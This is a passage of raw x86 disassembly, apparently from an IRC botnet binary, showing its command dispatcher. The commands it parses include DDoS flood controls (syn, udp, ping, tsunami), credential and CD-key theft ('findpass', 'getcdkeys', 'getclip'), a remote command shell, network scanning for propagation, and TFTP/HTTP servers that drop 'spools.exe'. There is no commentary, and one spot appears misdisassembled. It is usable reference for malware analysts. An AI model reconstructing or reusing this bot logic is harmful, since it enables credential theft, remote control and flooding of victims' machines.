loc_402CA8:				; CODE XREF: seg000:00402C8Ej
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD1
		push	dword ptr [ebp+esi-8Ch]
		push	10h
		push	offset dword_433218
		push	offset dword_433208
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402CD1:				; CODE XREF: seg000:00402CB7j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CFA
		push	dword ptr [ebp+esi-8Ch]
		push	11h
		push	offset dword_4331EC
		push	offset dword_4331DC
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402CFA:				; CODE XREF: seg000:00402CE0j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D23
		push	dword ptr [ebp+esi-8Ch]
		push	12h
		push	offset dword_4331C4
		push	offset dword_4331B8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402D23:				; CODE XREF: seg000:00402D09j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E79
		mov	esi, [ebp+esi-8Ch]
		mov	edi, [ebp+0Ch]
		push	esi
		push	0Dh
		push	offset dword_433260
		push	offset dword_433254
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	0Eh
		push	offset dword_433240
		push	offset dword_433234
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_4331A0
		push	offset dword_433194
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	16h
		push	offset dword_433188
		push	offset dword_43317C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_4331EC
		push	offset dword_4331DC
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	12h
		push	offset dword_4331C4
		push	offset dword_4331B8
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_43316C
		push	offset dword_43315C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	esi
		push	13h
		push	offset dword_43314C
		push	offset dword_43313C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_433218
		push	offset dword_433208
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B29C
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_433108
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_4099D2
		add	esp, 34h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_402E79:				; CODE XREF: seg000:00402D32j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA2
		push	dword ptr [ebp+esi-8Ch]
		push	0Fh
		push	offset dword_43316C
		push	offset dword_43315C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402EA2:				; CODE XREF: seg000:00402E88j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECB
		push	dword ptr [ebp+esi-8Ch]
		push	13h
		push	offset dword_43314C
		push	offset dword_43313C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402ECB:				; CODE XREF: seg000:00402EB1j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF4
		push	dword ptr [ebp+esi-8Ch]
		push	17h
		push	offset dword_4331A0
		push	offset dword_433194
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402EF4:				; CODE XREF: seg000:00402EDAj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F1D
		push	dword ptr [ebp+esi-8Ch]
		push	16h
		push	offset dword_433188
		push	offset dword_43317C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402F1D:				; CODE XREF: seg000:00402F03j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F46
		push	dword ptr [ebp+esi-8Ch]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_4330C0
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402F46:				; CODE XREF: seg000:00402F2Cj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460E
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460E
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC3
		push	dword ptr [ebp+esi-8Ch]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_433070
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402FC3:				; CODE XREF: seg000:00402FA9j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FEC
		push	dword ptr [ebp+esi-8Ch]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_43304C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402FEC:				; CODE XREF: seg000:00402FD2j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403015
		push	dword ptr [ebp+esi-8Ch]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_43302C
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_403015:				; CODE XREF: seg000:00402FFBj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40459E
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40459E
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457F
		push	edi
		push	offset aR	; "r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457F
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404515
		push	edi
		push	offset aQ	; "q"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404515
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI_1	; "i"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031E1
		call	sub_418AE3
		test	eax, eax
		mov	eax, offset unk_432F74
		jnz	short loc_4031B3
		mov	eax, offset unk_432F4C


loc_4031B3:				; CODE XREF: seg000:004031ACj
		push	eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 1Ch
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_4031E1:				; CODE XREF: seg000:0040319Ej
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AE
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AE
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404295
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404295
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425B
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425B
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404230
		push	edi
		push	offset aSi	; "si"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404230
		push	edi
		push	offset aRemov	; "remov`]"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F6
		push	edi
		push	offset aR0i0m	; "r0i0m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F6
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D3
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D3
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040AC
		push	edi
		push	offset aKey	; "key"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040AC
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404025
		push	edi
		push	offset aUp	; "up"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404025
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404008
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404008
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FEF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FEF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB0
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB0
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40342C
		push	dword ptr [ebp+esi-8Ch]
		push	0Ah
		push	offset dword_432E90
		push	offset dword_432E84
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_40342C:				; CODE XREF: seg000:00403412j
		push	edi
		push	offset dword_432E80
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40352B
		cmp	[ebp-8], ebx
		jnz	short loc_403460
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_432E6C
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403460:				; CODE XREF: seg000:00403444j
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jz	short loc_40346A
		inc	eax
		jmp	short loc_40346F
; ---------------------------------------------------------------------------


loc_40346A:				; CODE XREF: seg000:00403465j
		mov	eax, offset aEmpty ; "<Empty>"


loc_40346F:				; CODE XREF: seg000:00403468j
		push	eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset unk_432E38
		call	sub_4157A6
		add	esp, 28h


loc_4034A9:				; CODE XREF: seg000:0040372Bj
					; seg000:00404A34j
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_401D6C
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B40
		mov	esi, [ebp+18h]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A46
		lea	eax, [ebp-2C0h]
		push	offset unk_432E04
		push	eax
		mov	ds:dword_4D49A8, ebx
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_403501:				; CODE XREF: seg000:00404AE7j
					; seg000:00404B0Dj ...
		cmp	[ebp-8], ebx
		jnz	loc_4097B8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2


loc_403523:				; CODE XREF: seg000:00408ABCj
					; seg000:00408B20j
		add	esp, 14h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_40352B:				; CODE XREF: seg000:0040343Bj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6F
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6F
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F58
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F58
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F20
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F20
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE6
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE6
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D98
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D98
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrassh	; "crassh"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B7
		lea	eax, [ebp-2C0h]
		push	offset dword_432D64
		push	eax
		call	sub_41BF36
		cmp	[ebp-8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403696
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403696:				; CODE XREF: seg000:00403678j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		mov	dword ptr [esp], offset	aCrash ; "crash"
		push	dword ptr [ebp+esi-7Ch]
		call	sub_41C710
		jmp	loc_4020BA
; ---------------------------------------------------------------------------


loc_4036B7:				; CODE XREF: seg000:00403660j
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aVall	; "vall"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40370B
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		jmp	loc_401DD4
; ---------------------------------------------------------------------------


loc_40370B:				; CODE XREF: seg000:004036F0j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403731
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A9


loc_403731:				; CODE XREF: seg000:0040371Aj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0F54h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		push	offset unk_432CEC
		mov	[ebp-0F58h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0ED0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-0ECCh], eax
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	26h
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-0ED4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0F58h]
		push	ebx
		push	eax
		push	offset sub_417517
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0ED4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: seg000:004037D4j
		cmp	[ebp-0EC8h], ebx
		jnz	loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: seg000:004037BEj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432CB0
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: seg000:004036C6j
					; seg000:004036DBj
		mov	al, ds:byte_43836A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_43836A
		jz	loc_401D6C
		mov	ecx, edx


loc_4037FE:				; CODE XREF: seg000:00403806j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401D6C
		mov	[ebp+18h], edx
		mov	esi, offset aO1_0 ; "#o1"


loc_403818:				; CODE XREF: seg000:00403AD6j
		push	0Bh
		call	sub_40B256
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp-2C0h]
		push	offset unk_432C70
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: seg000:00403832j
		or	dword ptr [ebp-730h], 0FFFFFFFFh
		cmp	ds:dword_438048, ebx
		mov	dword ptr [ebp-734h], 64h
		mov	dword ptr [ebp-748h], 5
		mov	dword ptr [ebp-744h], 320h
		mov	[ebp+8], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_438048


loc_40389C:				; CODE XREF: seg000:004038BAj
		mov	eax, [ebp+18h]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	dword ptr [ebp+8]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: seg000:004038B0j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-730h], eax
		shl	ecx, 6
		mov	ecx, ds:dword_438048[ecx]
		mov	[ebp-74Ch], ecx


loc_4038D8:				; CODE XREF: seg000:00403895j
					; seg000:004038BCj
		cmp	[ebp-74Ch], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp-2CCh]
		pop	edi
		push	eax
		lea	eax, [ebp-30Ch]
		push	eax
		mov	[ebp-2CCh], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4D1194
		mov	al, [ebp-8FFh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-308h], eax
		push	dword ptr [ebp-308h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-860h]
		push	eax
		call	sub_41BCA0
		xor	eax, eax
		cmp	[ebp-8FFh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-860h]
		push	eax
		call	sub_41C4E0
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: seg000:0040397Ej
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-860h]
		push	30h
		push	eax
		call	sub_41C4E0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: seg000:0040395Cj
					; seg000:00403960j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-750h], eax
		mov	eax, [ebp-4]
		mov	[ebp-728h], eax
		mov	eax, [ebp-8]
		mov	[ebp-724h], eax
		mov	edi, 80h
		lea	eax, [ebp-850h]
		push	edi
		push	eax
		mov	dword ptr [ebp-720h], 1
		call	sub_41C030
		push	offset byte_443398
		push	esi
		call	sub_41C710
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp-7D0h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: seg000:004039CDj
		mov	[ebp-7D0h], bl


loc_4039E8:				; CODE XREF: seg000:004039E0j
		cmp	[ebp-720h], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: seg000:004039F3j
		push	dword ptr [ebp-734h]
		lea	ecx, [ebp-860h]
		push	dword ptr [ebp-744h]
		push	dword ptr [ebp-748h]
		push	dword ptr [ebp-74Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432BF0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-740h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-860h]
		push	ebx
		push	eax
		push	(offset	loc_40C247+1)
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-740h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: seg000:00403A82j
		cmp	[ebp-71Ch], ebx
		jnz	short loc_403A9F
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: seg000:00403A70j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432BB4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: seg000:00403A78j
		cmp	[ebp-8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403AC0:				; CODE XREF: seg000:00403AA2j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_403ACD:				; CODE XREF: seg000:00403862j
		add	dword ptr [ebp+18h], 0Bh
		mov	eax, [ebp+18h]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: seg000:004038DEj
		push	offset unk_432B7C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: seg000:00403636j
					; seg000:0040364Bj
		push	5
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_432B5C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: seg000:00403AF5j
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-2D50h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: seg000:00403B0Aj
		mov	edi, 104h
		lea	eax, [ebp-2D50h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0B00000h
		xchg	eax, esp


loc_403B38:				; CODE XREF: seg000:00403B22j
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset aSpools_exe	; "spools.exe"


loc_403B48:				; CODE XREF: seg000:00403B41j
		push	esi
		lea	eax, [ebp-2C4Ch]
		push	edi
		push	eax
		call	sub_41C030
		mov	eax, ds:dword_429080
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-2B40h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2B44h], ebx
		mov	[ebp-2D54h], eax
		lea	eax, [ebp-2B3Ch]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-2ABCh], eax
		mov	eax, [ebp-8]
		mov	[ebp-2AB8h], eax
